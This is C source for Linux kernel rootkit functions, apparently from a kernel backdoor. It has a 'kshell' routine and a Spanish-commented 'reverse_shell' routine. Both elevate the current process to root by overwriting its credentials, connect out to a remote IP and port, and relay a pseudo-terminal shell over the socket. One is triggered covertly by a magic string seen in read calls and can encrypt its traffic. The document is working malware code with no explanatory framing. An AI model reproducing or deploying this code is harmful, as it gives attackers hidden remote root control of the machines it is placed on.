/** * kshell - start a connect back shell in kernel space. * @ip: remote ip to connect. * @port: remote port to connect. * both ip and port are network bytes. * * When the system call 'read' had read the flag 'wztshell',it will be use this * function to start a connect back shell. * * return value is always NF_ACCEPT.It's not firewall,just want to filter the key. */ int kshell(int ip,int port) { //struct task_struct *ptr = current; struct cred *ptr = (struct cred *)current->cred; struct socket *sock; struct sockaddr_in server; struct winsize ws; mm_segment_t old_fs; fd_set s_read; int soc, tmp_pid, i; int byte1,count,rlen; int error; int len = sizeof(struct sockaddr); char tmp[101],buf[101]; unsigned char *p,*d; unsigned char wb[5]; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; set_fs(KERNEL_DS); ssetmask(~0); for (i = 0;i < 4096; i++) close(i); error = sock_create(AF_INET,SOCK_STREAM,0,&sock); if (error < 0) { #if DEBUG == 1 printk("[-] socket_create failed: %d\n",error); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } //http://lkml.indiana.edu/hypermail/linux/kernel/0805.0/2937.html soc = sock_map_fd(sock,0); if (soc < 0) { #if DEBUG == 1 printk("[-] sock_map_fd() failed.\n"); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } for (i = 0; i < 8; i++) server.sin_zero[i] = 0; server.sin_family = PF_INET; server.sin_addr.s_addr = ip; server.sin_port = port; error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags); if (error < 0) { #if DEBUG == 1 printk("[-] connect to failed.\n"); #endif e_exit(-1); return -1; } epty = get_pty(); set_fs(old_fs); if (!(tmp_pid = fork())) start_shell(); set_fs(KERNEL_DS); /* #if ENCRYPT == 1 encrypt_code(banner,200); #endif write(soc,banner,200); */ while (1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0) break; if (FD_ISSET(ptmx, &s_read)) { byte1 = read(ptmx, tmp, 100); if (byte1 <= 0) break; #if ENCRYPT == 1 encrypt_code(tmp,byte1); #endif write(soc, tmp, byte1); } if (FD_ISSET(soc, &s_read)) { d = buf; count = read(soc, buf, 100); if (count <= 0) break; #if ENCRYPT == 1 encrypt_code(buf,count); #endif p = memchr(buf, ECHAR, count); if (p) { rlen = count - ((long) p - (long) buf); /* wait for rest */ if (rlen > 5) rlen = 5; memcpy(wb, p, rlen); if (rlen < 5) { read(soc, &wb[rlen], 5 - rlen); #if ENCRYPT == 1 encrypt_code(&wb[rlen],5 - rlen); #endif } /* setup window */ ws.ws_xpixel = ws.ws_ypixel = 0; ws.ws_col = (wb[1] << 8) + wb[2]; ws.ws_row = (wb[3] << 8) + wb[4]; ioctl(ptmx, TIOCSWINSZ, (unsigned long)&ws); kill(0, SIGWINCH); /* write the rest */ write(ptmx, buf, (long) p - (long) buf); rlen = ((long) buf + count) - ((long)p+5); if (rlen > 0) write(ptmx, p+5, rlen); } else if (write(ptmx, d, count) <= 0) break; } } kill(tmp_pid, SIGKILL); set_fs(old_fs); e_exit(0); return -1; }
int reverse_shell(void *ip) { struct task_struct *ptr = current; struct sockaddr_in dire; struct pt_regs regs; mm_segment_t old_fs; unsigned long arg[3]; int soc, tmp_pid; unsigned char tmp; fd_set s_read; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; arg[0] = AF_INET; arg[1] = SOCK_STREAM; arg[2] = 0; set_fs(KERNEL_DS); if ((soc = socketcall(SYS_SOCKET, arg)) == -1) { set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } memset((void *) &dire, 0, sizeof(dire)); dire.sin_family = AF_INET; dire.sin_port = htons((unsigned short) global_port); dire.sin_addr.s_addr = (unsigned long) global_ip; arg[0] = soc; arg[1] = (unsigned long) &dire; arg[2] = (unsigned long) sizeof(dire); if (socketcall(SYS_CONNECT, arg) == -1) { close(soc); set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } /* pillamos tty */ epty = get_pty(); /* ejecutamos shell */ set_fs(old_fs); memset(®s, 0, sizeof(regs)); regs.xds = __USER_DS; regs.xes = __USER_DS; regs.orig_eax = -1; regs.xcs = __KERNEL_CS; regs.eflags = 0x286; regs.eip = (unsigned long) ejecutar_shell; tmp_pid = (*my_do_fork)(0, 0, ®s, 0, NULL, NULL); set_fs(KERNEL_DS); while(1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); _newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL); if (FD_ISSET(ptmx, &s_read)) { if (read(ptmx, &tmp, 1) == 0) break; write(soc, &tmp, 1); } if (FD_ISSET(soc, &s_read)) { if (read(soc, &tmp, 1) == 0) break; write(ptmx, &tmp, 1); } } /* fin while */ /* matamos el proceso */ kill(tmp_pid, SIGKILL); /* salimos */ set_fs(old_fs); e_exit(0); return(-1); } /********** fin reverse_shell **********/